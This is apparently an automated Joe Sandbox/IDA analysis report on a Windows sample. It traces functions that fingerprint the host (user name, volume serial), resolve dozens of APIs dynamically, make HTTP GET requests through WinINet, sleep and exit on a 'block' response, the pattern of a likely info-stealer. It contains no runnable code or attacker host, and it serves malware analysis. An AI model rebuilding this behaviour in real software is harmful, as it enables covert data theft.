Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: a77be31ba9bf1b8b80f4c82e090011943913d2fdc8a5aa566b93f09babfa9efe
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: a77be31ba9bf1b8b80f4c82e090011943913d2fdc8a5aa566b93f09babfa9efe
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
RtlAllocateHeap.NTDLL(00000000), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01276920), ref: 00419C2D
GetProcAddress.KERNEL32(75900000,01276A20), ref: 00419C45
GetProcAddress.KERNEL32(75900000,01288F70), ref: 00419C5E
GetProcAddress.KERNEL32(75900000,01288F58), ref: 00419C76
GetProcAddress.KERNEL32(75900000,0128CF18), ref: 00419C8E
GetProcAddress.KERNEL32(75900000,0128CF90), ref: 00419CA7
GetProcAddress.KERNEL32(75900000,0127AF28), ref: 00419CBF
GetProcAddress.KERNEL32(75900000,0128CE28), ref: 00419CD7
GetProcAddress.KERNEL32(75900000,0128CF30), ref: 00419CF0
GetProcAddress.KERNEL32(75900000,0128CE40), ref: 00419D08
GetProcAddress.KERNEL32(75900000,0128CF48), ref: 00419D20
GetProcAddress.KERNEL32(75900000,012766A0), ref: 00419D39
GetProcAddress.KERNEL32(75900000,01276780), ref: 00419D51
GetProcAddress.KERNEL32(75900000,01276800), ref: 00419D69
GetProcAddress.KERNEL32(75900000,01276820), ref: 00419D82
GetProcAddress.KERNEL32(75900000,0128CED0), ref: 00419D9A
GetProcAddress.KERNEL32(75900000,0128CFA8), ref: 00419DB2
GetProcAddress.KERNEL32(75900000,0127AED8), ref: 00419DCB
GetProcAddress.KERNEL32(75900000,012769A0), ref: 00419DE3
GetProcAddress.KERNEL32(75900000,0128CF60), ref: 00419DFB
GetProcAddress.KERNEL32(75900000,0128CEB8), ref: 00419E14
GetProcAddress.KERNEL32(75900000,0128CE88), ref: 00419E2C
GetProcAddress.KERNEL32(75900000,0128CF78), ref: 00419E44
GetProcAddress.KERNEL32(75900000,01276940), ref: 00419E5D
GetProcAddress.KERNEL32(75900000,0128CFC0), ref: 00419E75
GetProcAddress.KERNEL32(75900000,0128CE58), ref: 00419E8D
GetProcAddress.KERNEL32(75900000,0128CE10), ref: 00419EA6
GetProcAddress.KERNEL32(75900000,0128CE70), ref: 00419EBE
GetProcAddress.KERNEL32(75900000,0128CEA0), ref: 00419ED6
GetProcAddress.KERNEL32(75900000,0128CEE8), ref: 00419EEF
GetProcAddress.KERNEL32(75900000,0128CF00), ref: 00419F07
GetProcAddress.KERNEL32(75900000,0128C8E8), ref: 00419F1F
GetProcAddress.KERNEL32(75900000,0128C810), ref: 00419F38
GetProcAddress.KERNEL32(75900000,01289DB8), ref: 00419F50
GetProcAddress.KERNEL32(75900000,0128C888), ref: 00419F68
GetProcAddress.KERNEL32(75900000,0128C870), ref: 00419F81
GetProcAddress.KERNEL32(75900000,01276960), ref: 00419F99
GetProcAddress.KERNEL32(75900000,0128C960), ref: 00419FB1
GetProcAddress.KERNEL32(75900000,01276880), ref: 00419FCA
GetProcAddress.KERNEL32(75900000,0128C978), ref: 00419FE2
GetProcAddress.KERNEL32(75900000,0128C990), ref: 00419FFA
GetProcAddress.KERNEL32(75900000,01276600), ref: 0041A013
GetProcAddress.KERNEL32(75900000,01276480), ref: 0041A02B
LoadLibraryA.KERNEL32(0128C840,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A03D
LoadLibraryA.KERNEL32(0128CA08,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A04E
LoadLibraryA.KERNEL32(0128CAB0,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A060
LoadLibraryA.KERNEL32(0128CAC8,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A072
LoadLibraryA.KERNEL32(0128C9A8,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A083
LoadLibraryA.KERNEL32(0128C9C0,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A095
LoadLibraryA.KERNEL32(0128CAE0,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A0A7
LoadLibraryA.KERNEL32(0128C858,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A0B8
GetProcAddress.KERNEL32(75FD0000,01276280), ref: 0041A0DA
GetProcAddress.KERNEL32(75FD0000,0128C9D8), ref: 0041A0F2
GetProcAddress.KERNEL32(75FD0000,01288970), ref: 0041A10A
GetProcAddress.KERNEL32(75FD0000,0128C8A0), ref: 0041A123
GetProcAddress.KERNEL32(75FD0000,012764E0), ref: 0041A13B
GetProcAddress.KERNEL32(6FCE0000,0127AF78), ref: 0041A160
GetProcAddress.KERNEL32(6FCE0000,01276380), ref: 0041A179
GetProcAddress.KERNEL32(6FCE0000,0127B338), ref: 0041A191
GetProcAddress.KERNEL32(6FCE0000,0128C8D0), ref: 0041A1A9
GetProcAddress.KERNEL32(6FCE0000,0128C918), ref: 0041A1C2
GetProcAddress.KERNEL32(6FCE0000,012763C0), ref: 0041A1DA
GetProcAddress.KERNEL32(6FCE0000,012762A0), ref: 0041A1F2
GetProcAddress.KERNEL32(6FCE0000,0128C8B8), ref: 0041A20B
GetProcAddress.KERNEL32(763B0000,012763A0), ref: 0041A22C
GetProcAddress.KERNEL32(763B0000,012762E0), ref: 0041A244
GetProcAddress.KERNEL32(763B0000,0128C900), ref: 0041A25D
GetProcAddress.KERNEL32(763B0000,0128C930), ref: 0041A275
GetProcAddress.KERNEL32(763B0000,012764A0), ref: 0041A28D
GetProcAddress.KERNEL32(750F0000,0127AFA0), ref: 0041A2B3
GetProcAddress.KERNEL32(750F0000,0127B2E8), ref: 0041A2CB
GetProcAddress.KERNEL32(750F0000,0128C948), ref: 0041A2E3
GetProcAddress.KERNEL32(750F0000,012763E0), ref: 0041A2FC
GetProcAddress.KERNEL32(750F0000,01276500), ref: 0041A314
GetProcAddress.KERNEL32(750F0000,0127B270), ref: 0041A32C
GetProcAddress.KERNEL32(75A50000,0128C828), ref: 0041A352
GetProcAddress.KERNEL32(75A50000,01276560), ref: 0041A36A
GetProcAddress.KERNEL32(75A50000,01288910), ref: 0041A382
GetProcAddress.KERNEL32(75A50000,0128CA38), ref: 0041A39B
GetProcAddress.KERNEL32(75A50000,0128CA50), ref: 0041A3B3
GetProcAddress.KERNEL32(75A50000,012765C0), ref: 0041A3CB
GetProcAddress.KERNEL32(75A50000,01276420), ref: 0041A3E4
GetProcAddress.KERNEL32(75A50000,0128C9F0), ref: 0041A3FC
GetProcAddress.KERNEL32(75A50000,0128CA20), ref: 0041A414
GetProcAddress.KERNEL32(75070000,01276300), ref: 0041A436
GetProcAddress.KERNEL32(75070000,0128CA68), ref: 0041A44E
GetProcAddress.KERNEL32(75070000,0128CA80), ref: 0041A466
GetProcAddress.KERNEL32(75070000,0128CA98), ref: 0041A47F
GetProcAddress.KERNEL32(75070000,0128CAF8), ref: 0041A497
GetProcAddress.KERNEL32(74E50000,01276580), ref: 0041A4B8
GetProcAddress.KERNEL32(74E50000,01276320), ref: 0041A4D1
GetProcAddress.KERNEL32(75320000,01276360), ref: 0041A4F2
GetProcAddress.KERNEL32(75320000,0128CCA8), ref: 0041A50A
GetProcAddress.KERNEL32(6F060000,012762C0), ref: 0041A530
GetProcAddress.KERNEL32(6F060000,01276340), ref: 0041A548
GetProcAddress.KERNEL32(6F060000,01276400), ref: 0041A560
GetProcAddress.KERNEL32(6F060000,0128CCC0), ref: 0041A579
GetProcAddress.KERNEL32(6F060000,01276440), ref: 0041A591
GetProcAddress.KERNEL32(6F060000,01276460), ref: 0041A5A9
GetProcAddress.KERNEL32(6F060000,012764C0), ref: 0041A5C2
GetProcAddress.KERNEL32(6F060000,01276520), ref: 0041A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(74E00000,0128CCD8), ref: 0041A629
GetProcAddress.KERNEL32(74E00000,01288940), ref: 0041A641
GetProcAddress.KERNEL32(74E00000,0128CD38), ref: 0041A659
GetProcAddress.KERNEL32(74E00000,0128CD50), ref: 0041A672
GetProcAddress.KERNEL32(74DF0000,01276540), ref: 0041A693
GetProcAddress.KERNEL32(6F9B0000,0128CDC8), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9B0000,012765E0), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9B0000,0128CB88), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9B0000,0128CBA0), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,0128E5E0), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,0128DBB0,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 00406407
GET, xrefs: 0040637C
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 4bffbc6298ce5bde29073934a1559e313ab5fcbc159c72d221c735d430b420b5
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 4bffbc6298ce5bde29073934a1559e313ab5fcbc159c72d221c735d430b420b5
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415849
ERROR, xrefs: 00415932
ERROR, xrefs: 00415693
ERROR, xrefs: 00415636
ERROR, xrefs: 0041577D
ERROR, xrefs: 004159FE

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 004117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 7f408f1591d611580e04ec924439935c28397a15e27e27f9e4116566d6ebdbf4
Instruction ID: 0405e5a3f07d781a82fc2c844c85a24eb00bc6dbff14658bd7033dab7d51b311
Opcode Fuzzy Hash: 7f408f1591d611580e04ec924439935c28397a15e27e27f9e4116566d6ebdbf4
Instruction Fuzzy Hash: DD517DB4A20209EFCB04DFA0D954BFE77B5BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
RtlAllocateHeap.NTDLL(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

\, xrefs: 00417560
:, xrefs: 0041755C
C, xrefs: 0041754C
B, xrefs: 0041764D, 00417655, 0041761B, 00417623

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$B
API String ID: 1544550907-183544611
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 004169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

